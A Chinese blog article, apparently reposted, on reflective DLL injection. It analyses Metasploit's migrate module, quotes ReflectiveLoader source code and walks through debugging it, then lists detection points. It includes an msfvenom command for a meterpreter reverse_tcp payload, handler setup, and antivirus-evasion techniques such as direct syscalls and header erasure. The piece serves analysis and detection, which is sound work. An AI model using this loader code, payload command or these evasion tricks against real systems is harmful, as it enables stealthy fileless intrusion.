WEB安全:深入反射式dll注入技术

news2024/12/24 3:37:04

一、前言

dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性,通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。

常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大,很容易被edr等安全产品检测到。为了弥补这个缺陷,stephen fewer提出了反射式dll注入技术并在github开源,反射式dll注入技术的优势在于可以使得恶意的dll通过socket等方式直接传输到目标进程内存并加载,期间无任何文件落地,安全产品的检测难度大大增加。

本文将从dll注入技术简介、msf migrate模块剖析、检测思路和攻防对抗的思考等方向展开说明反射式dll注入技术。

二、dll注入技术简介

2.1 常规dll注入技术

常规dll注入有:

  1. 通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。
  2. 通过调用QueueUserAPC()/SetThreadContext()函数来劫持被注入进程已存在的线程加载dll。
  3. 通过调用SetWindowsHookEx()函数来设置拦截事件,在发生对应的事件时,被注入进程执行拦截事件函数加载dll。

以使用CreateRemoteThread()函数进行dll注入的方式为例,实现思路如下:

  1. 获取被注入进程PID。
  2. 在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
  3. 使用openOpenProcess()函数获取被注入进程句柄。
  4. 使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用WriteProcessMemory()函数写入DLL路径的字符串。
  5. 使用GetProcAddress()函数在当前进程加载的kernel32.dll找到LoadLibraryA函数的地址。
  6. 通过CreateRemoteThread()函数来调用LoadLibraryA()函数,在被注入进程新启动一个线程,使得被注入进程进程加载恶意的DLL。

常规dll注入示意图如上图所示。该图直接从步骤3)开始,步骤1)和步骤2)不在赘述。

【一>所有资源关注我,私信回复“资料”获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

2.2 反射式dll注入技术

反射式dll注入与常规dll注入类似,而不同的地方在于反射式dll注入技术自己实现了一个reflective loader()函数来代替LoadLibaryA()函数去加载dll,示意图如下图所示。蓝色的线表示与用常规dll注入相同的步骤,红框中的是reflective loader()函数行为,也是下面重点描述的地方。

Reflective loader实现思路如下:

  1. 获得被注入进程未解析的dll的基地址,即下图第7步所指的dll。
  2. 获得必要的dll句柄和函数为修复导入表做准备。
  3. 分配一块新内存去取解析dll,并把pe头复制到新内存中和将各节复制到新内存中。
  4. 修复导入表和重定向表。
  5. 执行DllMain()函数。

 

三、Msf migrate模块剖析

msf的migrate模块是post阶段的一个模块,其作用是将meterpreter payload从当前进程迁移到指定进程。

在获得meterpreter session后可以直接使用migrate命令迁移进程,其效果如下图所示:

 

migrate的模块的实现和stephen fewer的ReflectiveDLLInjection项目大致相同,增加了一些细节,其实现原理如下:

  1. 读取metsrv.dll(metpreter payload模板dll)文件到内存中。
  2. 生成最终的payload。
  3. a) msf生成一小段汇编migrate stub主要用于建立socket连接。
  4. b) 将metsrv.dll的dos头修改为一小段汇编meterpreter_loader主要用于调用reflective loader函数和dllmain函数。在metsrv.dll的config block区填充meterpreter建立session时的配置信息。
  5. c) 最后将migrate stub和修改后的metsrv.dll拼接在一起生成最终的payload。
  6. 向msf server发送migrate请求和payload。
  7. msf向迁移目标进程分配一块内存并写入payload。
  8. msf首先会创建的远程线程执行migrate stub,如果失败了,就会尝试用apc注入的方式执行migrate stub。migrate stub会调用meterpreter loader,meterpreter loader才会调用reflective loader。
  9. reflective loader进行反射式dll注入。
  10. 最后msf client和msf server建立一个新的session。

原理图如下所示:

 

图中红色的线表示与常规反射式dll注入不同的地方。红色的填充表示修改内容,绿色的填充表示增加内容。migrate模块的reflective loader是直接复用了stephen fewer的ReflectiveDLLInjection项目的ReflectiveLoader.c中的ReflectiveLoader()函数。下面我们主要关注reflective loader的行为。

3.1 静态分析

3.1.1 获取dll基地址

ReflectiveLoader()首先会调用caller()函数

uiLibraryAddress = caller();

caller()函数实质上是_ReturnAddress()函数的封装。caller()函数的作用是获取caller()函数的返回值,在这里也就是ReflectiveLoader()函数中调用caller()函数的下一条指令的地址。

#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }

然后,向低地址逐字节比较是否为为dos头的标识MZ字串,若当前地址的内容为MZ字串,则把当前地址认为是dos头结构体的开头,并校验dos头e_lfanew结构成员是否指向pe头的标识”PE”字串。若校验通过,则认为当前地址是正确的dos头结构体的开头。

while( TRUE )
{
	//将当前地址当成dos头结构,此结构的e_magic成员变量是否指向MZ子串
	if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 
	{
		uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
		if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
		{
			uiHeaderValue += uiLibraryAddress;
			//判断e_lfanew结构成员是否指向PE子串,是则跳出循环,取得未解析dll的基地址
			if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
				break;
		}
	}
	uiLibraryAddress--;
}

3.1.2 获取必要的dll句柄和函数地址

获取必要的dll句柄是通过遍历peb结构体中的ldr成员中的InMemoryOrderModuleList链表获取dll名称,之后算出dll名称的hash,最后进行hash对比得到最终的hash。

uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
	uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
	usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
	uiValueC = 0;
	ULONG_PTR tmpValC = uiValueC;
    //计算tmpValC所指向子串的hash值,并存储在uiValueC中
	....
	if( (DWORD)uiValueC == KERNEL32DLL_HASH )

必要的函数是遍历函数所在的dll导出表获得函数名称,然后做hash对比得到的。

uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
		{
		dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			if( dwHashValue == LOADLIBRARYA_HASH
			//等于其他函数hash的情况
            || ...
			)
			{
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
				if( dwHashValue == LOADLIBRARYA_HASH )
					pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				//等于其他函数hash的情况
                ...
				usCounter--;
			}
			uiNameArray += sizeof(DWORD);
			uiNameOrdinals += sizeof(WORD);
		}
}

3.1.3 将dll映射到新内存

Nt optional header结构体中的SizeOfImage变量存储着pe文件在内存中解析后所占的内存大小。所以ReflectiveLoader()获取到SizeOfImage的大小,分配一块新内存,然后按照section headers结构中的文件相对偏移和相对虚拟地址,将pe节一一映射到新内存中。

//分配SizeOfImage的新内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//将所有头和节表逐字节复制到新内存
while( uiValueA-- )
	*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一个节表项
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
	uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
	uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
	uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
	//将每一节的内容复制到新内存对应的位置
    while( uiValueD-- )
		*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
	uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

3.1.4 修复导入表和重定位表

首先更具导入表结构,找到导入函数所在的dll名称,然后使用loadlibary()函数载入dll,根据函数序号或者函数名称,在载入的dll的导出表中,通过hash对比,并把找出的函数地址写入到新内存的IAT表中。

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//当没有到达导入表末尾时
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
	//使用LoadLibraryA()函数加载对应的dll
	uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
	...
	uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
    //IAT表
	uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
	while( DEREF(uiValueA) )
	{
        //如果导入函数是通过函数编号导入
		if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
		{	//通过函数编号索引导入函数所在dll的导出函数	
			uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
			uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
			uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
			uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
            //将对应的导入函数地址写入IAT表
			DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
		}
		else
		{
            //导入函数通过名称导入的
			uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
			DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
		}
		uiValueA += sizeof( ULONG_PTR );
		if( uiValueD )
			uiValueD += sizeof( ULONG_PTR );
	}
	uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

重定位表是为了解决程序指定的imagebase被占用的情况下,程序使用绝对地址导致访问错误的情况。一般来说,在引用全局变量的时候会用到绝对地址。这时候就需要去修正对应内存的汇编指令。

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不为0,则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
	uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
	while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
	{
		uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
		uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
		uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
		//根据不同的标识,修正每一项对应地址的值
        while( uiValueB-- )
		{
			if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
				*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
				*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
			uiValueD += sizeof( IMAGE_RELOC );
		}
		uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
		uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
	}
}

3.2 动态调试

本节一方面是演示如何实际的动态调试msf的migrate模块,另一方面也是3.1.1的一个补充,从汇编层次来看3.1.1节会更容易理解。

首先用msfvenom生成payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe

并使用msfconsole设置监听

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444 

之后在受害机使用windbg启动msf.exe并且

bu KERNEL32!CreateRemoteThread;g

获得被注入进程新线程执行的地址,以便调试被注入进程。

当建立session连接后,在msfconsole使用migrate命令

migrate 5600 //5600是要迁移的进程的pid

然后msf.exe在CreateRemoteThread函数断下,CreateRemoteThread函数原型如下

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

所以我们要找第四个参数lpStartAddress的值,即r9寄存器的内容,

使用

!address 000001c160bb0000

去notepad进程验证一下,是可读可写的内存,基本上就是对的

此时的地址是migrate stub汇编代码的地址,我们期望直接断在reflective loader的函数地址,我们通过

s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000为上面的lpStartAddress,3200为我们获取到的内存块大小

直接去搜MZ字串定位到meterpreter loader汇编的地址,进而定位到reflective loader的函数地址

meterpreter loader将reflective loader函数的地址放到rbx中,所以我们可直接断在此处,进入reflective loader的函数,如下图所示

reflective loader首先call 000001c1`60bb5dc9也就是caller()函数,caller()函数的实现就比较简单了,一共两条汇编指令,起作用就是返回下一条指令的地址

在这里也就是0x000001c160bb5e08

 

获得下一条指令后的地址后,就会比较获取的地址的内容是否为MZ如果不是的话就会把获取的地址减一作为新地址比较,如果是的话,则会比较e_lfanew结构成员是否指向PE,若是则此时的地址作为dll的基地址。后面调试过程不在赘述。

四、检测方法

反射式dll注入技术有很多种检测方法,如内存扫描、IOA等。下面是以内存扫描为例,我想到的一些扫描策略和比较好的检测点。

扫描策略:

  1. Hook敏感api,当发生敏感api调用序列时,对注入进程和被注入进程扫描内存。
  2. 跳过InMemoryOrderModuleList中的dll。

检测点多是跟reflective loader函数的行为有关,检测点如下:

  1. 强特征匹配_ReturnAddress()的函数。Reflectiveloader函数定位dos头的前置操作就是调用调用_ReturnAddress()函数获得当前dll的一个地址。
  2. 扫描定位pe开头位置的代码逻辑。详见3.1节,我们可以弱匹配此逻辑。
  3. 扫描特定的hash函数和hash值。在dll注入过程中,需要许多dll句柄和函数地址,所以不得不使用hash对比dll名称和函数名称。我们可以匹配hash函数和这些特殊的hash值。
  4. 从整体上检测dll注入。在被注入进程其实是存在两份dll文件,一份是解析前的原pe文件,一份是解析后的pe文件。我们可以检测这两份dll文件的关系来确定是反射式dll注入工具。

深信服云主机安全保护平台CWPP能够有效检测此类利用反射式DLL注入payload的无文件攻击技术。检测结果如图所示:

 

五、攻防对抗的思考

对于标准的反射dll注入是有很多种检测方式的,主要是作者没有刻意的做免杀,下面对于我搜集到了一些免杀方式,探讨一下其检测策略。

  1. 避免直接调用敏感api 。例如不直接调用writeprocessmemory等函数,而是直接用syscall调用。这种免杀方式只能绕过用户态的hook。对于内核态hook可以解这个问题。
  2. dll在内存中的rwx权限进行了去除,变成rx。其实有好多粗暴的检测反射式dll注入的攻击方式,就是检测rwx权限的内存是否为pe文件。
  3. 擦除nt头和dos头。这种免杀方式会直接让检测点4)影响较大,不能简单的校验pe头了,需要加入更精确的确定两个dll的文件,比如说,首先通过读取未解析的dll的SizeOfImage的大小,然后去找此大小的内存块,然后对比代码段是否一致,去判断是否为同一pe文件。
  4. 抹除未解析pe文件的内存。这种免杀方式会导致检测点4)彻底失效,这种情况下我们只能对reflectiveloader()函数进行检测。
  5. 抹除reflectiveloader()函数的内存。这里就比较难检测了。但是也是有检测点的,这里关键是如何确定这块内存是pe结构,重建pe结构之后,我们可以通过导出表去看导出函数是否被抹除。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/560276.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

你不会还不知道如何用Python写一个切水果的小游戏吧

目录 引言 一、需要导入的包 二、窗口界面设置 三、随机生成水果位置 四、绘制字体 五、玩家生命的提示 六、游戏开始与结束的画面 七、游戏主循环 引言 水果忍者的玩法很简单&#xff0c;尽可能的切开抛出的水果就行。 今天小五就用python简单的模拟一下…

linux centos 安装zookeeper服务

一、进入官网&#xff1a;Apache ZooKeeper 二、下载安装包 可以使用wget 下载&#xff0c;我这里服务器的原因就不使用了&#xff0c;直接在网页使用http下载&#xff0c;然后通过xftp上传到服务器 下载完成后通过xftp上传到linux服务器 三、解压 tar -zxvf apache-zookeepe…

520中国劲酒携手撒贝宁直播探厂,共同见证健康跑活动启幕

5月20日是“网络情人节”,每年一度的 520,所有人都沉在真爱告白的浓情氛围当中,对于全中国的劲酒爱好者来说,520 却有着不一样的意义,每年 520 劲粉节,中国劲酒以爱之名,号召和鼓励劲粉们培养持之以恒的健康生活方式。      520 当日,总台央视主持人撒贝宁来到了湖北大冶市…

新手要学网络安全应该从哪学起?

写在开篇 本人10 年工作经验&#xff0c; 擅长 Web 安全攻防、渗透领域&#xff0c; 在金融领域的安全有丰富的实战经验。从事在线教育 3 年多培养学员过万&#xff0c;讲解清晰透彻&#xff0c;课程干货内容多&#xff0c;辅导学员耐心细致 我为啥说自学黑客&网络安全&a…

SSM框架学习之Mybatis

SSM Spring SpringMVC Mybatis&#xff0c;这是一种常用的Java Web开发框架组合。Spring是一个轻量级的IoC和AOP容器框架&#xff0c;SpringMVC是基于Spring的MVC框架&#xff0c;Mybatis是一种ORM(Object Relational Mapping)框架&#xff0c;用于在Java应用中管理数据库。…

libvirt job机制浅析

libvirt 中&#xff0c;job 机制用于处理和跟踪针对虚拟机域&#xff08;domain&#xff09;的长时间操作&#xff0c;如迁移、快照、保存&#xff0c;热插拔等。job 机制的主要目的是确保在同一时间只有一个长时间操作可以执行&#xff0c;从而避免竞争条件和不一致性问题。 …

C嘎嘎~~[类和对象 精华篇]

类和对象 精华篇 static成员引入特点问题收尾 友元友元函数友元类 内部类理解 类和对象 static成员 引入 &#x1f5e8;️[题目] 实现一个类&#xff0c;计算程序中创建出了多少个类对象 先分析一下题目: 程序运行中, 有对象的创建, 也有对象的销毁 ⇒ 对应下来就是 构造,拷…

linux服务器断电重启后,发现时间误差八小时

文章目录 问题现象排查与解决时间同步与设置服务器时钟介绍 问题现象 客户的服务器已部署好平台&#xff0c;放入了机房&#xff0c;运行正常。服务器系统时间设置东八区&#xff08;CST&#xff09;&#xff0c;时间日期也已修改正确客户是我省的某小县城&#xff0c;某台晚上…

28 KVM管理系统资源-绑定QEMU进程至物理CPU

文章目录 28 KVM管理系统资源-绑定QEMU进程至物理CPU28.1 概述28.2 操作步骤 28 KVM管理系统资源-绑定QEMU进程至物理CPU 28.1 概述 QEMU主进程绑定特性是将QEMU主进程绑定到特定的物理CPU范围内&#xff0c;从而保证了运行不同业务的虚拟机不会干扰到邻位虚拟机。例如在一个…

ArcMap:第一届全国大学生GIS技能大赛(滁州学院)详解-下午题

目录 01 题目 02 数据 2.1 主要沟谷文件 2.2 DEM数字高程文件 2.3 气象站点数据 2.4 系统设计相关的DLL等文件 03 思路 3.1 作物生长条件的思路 3.1.1 对于条件1 3.1.2 对于条件2 3.1.3 对于条件3 3.1.4 对于条件4 3.2 水系的提取 3.3 种植面积的计算 04 实操 …

linux下cpu占用率100%怎么解决?

在实际的生产环境中&#xff0c;常常会遇到服务器CPU爆满的问题&#xff0c;这时候&#xff0c;正确的排查方法&#xff0c;有助于快速的定位问题。 1、找到最耗CPU的进程 使用top命令查看系统总体的CPU和内存使用情况&#xff0c;以及各个进程的资源使用情况。 2、找到最耗…

迈向5.5G丨美格智能持续创新,为智能世界创造新价值

5月11日&#xff0c;2023 “高通&美格智能物联网技术开放日”深圳站活动举行&#xff0c;美格智能高级产品总监在活动中发表题为《迈向5.5G&#xff0c;智联新未来》的主题演讲&#xff0c;分享了美格智能在5G技术演进中的创新实践。 ▲美格智能高级产品总监 刘伟鹏 ▌技术…

【基础折线图】学习使用flask、echarts搭建数据可视化图表网页

文章目录 前言Apache EchartsNPM 安装 ECharts在线定制 ECharts使用 Echarts Flaskpip安装flask 学习案例案例目录html代码flask代码 源码地址 前言 本文中的所有代码&#xff0c;全部都有详细注释&#xff0c;有需要的同学可以在文末领取&#xff01; 数据可视化是数据分析必…

19-01 技术选型的道与术

系列目录导航&#x1f449; 什么是技术选型&#xff0c;技术选型的重要性 根据实际业务管理的需要&#xff0c;对硬件、软件以及所要用到的技术进行规格的选择狭义上的技术选型&#xff1a;团队决定选用哪种技术去解决问题&#xff0c;比如选用某个技术语言、某个技术框架去开…

Android12之模板类单例模式实现原理(一百五十二)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…

openGauss 年度大型开发者会议来袭,快来看看都有哪些SIG组参加!

openGauss Developer Day 2023 将于5月26日在北京举办。作为大会的重要环节&#xff0c; SIG组版本规划工作会议 将汇聚社区各个SIG 组的用户与开发者&#xff0c;与大家见面&#xff0c;共同讨论开源数据库的技术发展与创新。属于开发者的狂欢日&#xff0c;期待大家的到…

CMAKE命令详解

目录 CMake 语法 案例&#xff1a; 面试中给可能会问的问题和回答&#xff1a; 总结&#xff1a; CMake 是一个用于构建和管理跨平台软件项目的开源工具。它使用名为 CMakeLists.txt 的文本文件来描述项目的构建过程。 CMake 语法 当使用 CMake 构建项目时&#xff0c;可以…

数据库索引结构(1)概念

常见的索引 主键和二级索引 MySQL学习笔记-主键索引和二级索引_mysql中主键索引和二级索引的区别_爱因诗贤的博客-CSDN博客 MYSQL-主键索引与二级索引_mysql二级索引存在哪个文件_青苔小榭的博客-CSDN博客 采用主键索引的好处&#xff1a;如果元素的位置发生修改&#xff0c;那…

华为OD机试真题 Java 实现【组合出合法最小数】【2023Q1 200分】

一、题目描述 给一个数组&#xff0c;数组里面都是代表非负整数的字符串&#xff0c;将数组里所有的数值排列组合拼接起来组成一个数字&#xff0c;输出拼接成的最小的数字。 二、输入描述 一个数组&#xff0c;数组不为空&#xff0c;数组里面都是代表非负整数的字符串&…

解读智慧城市建设的关键角色:GIS技术的应用与优势

近年来&#xff0c;随着城市化进程的加快和信息技术的迅猛发展&#xff0c;智慧城市成为了城市发展的重要方向。而在智慧城市建设中&#xff0c;地理信息系统&#xff08;GIS&#xff09;技术的应用正发挥着越来越重要的作用。GIS技术以其独特的地理空间分析能力&#xff0c;为…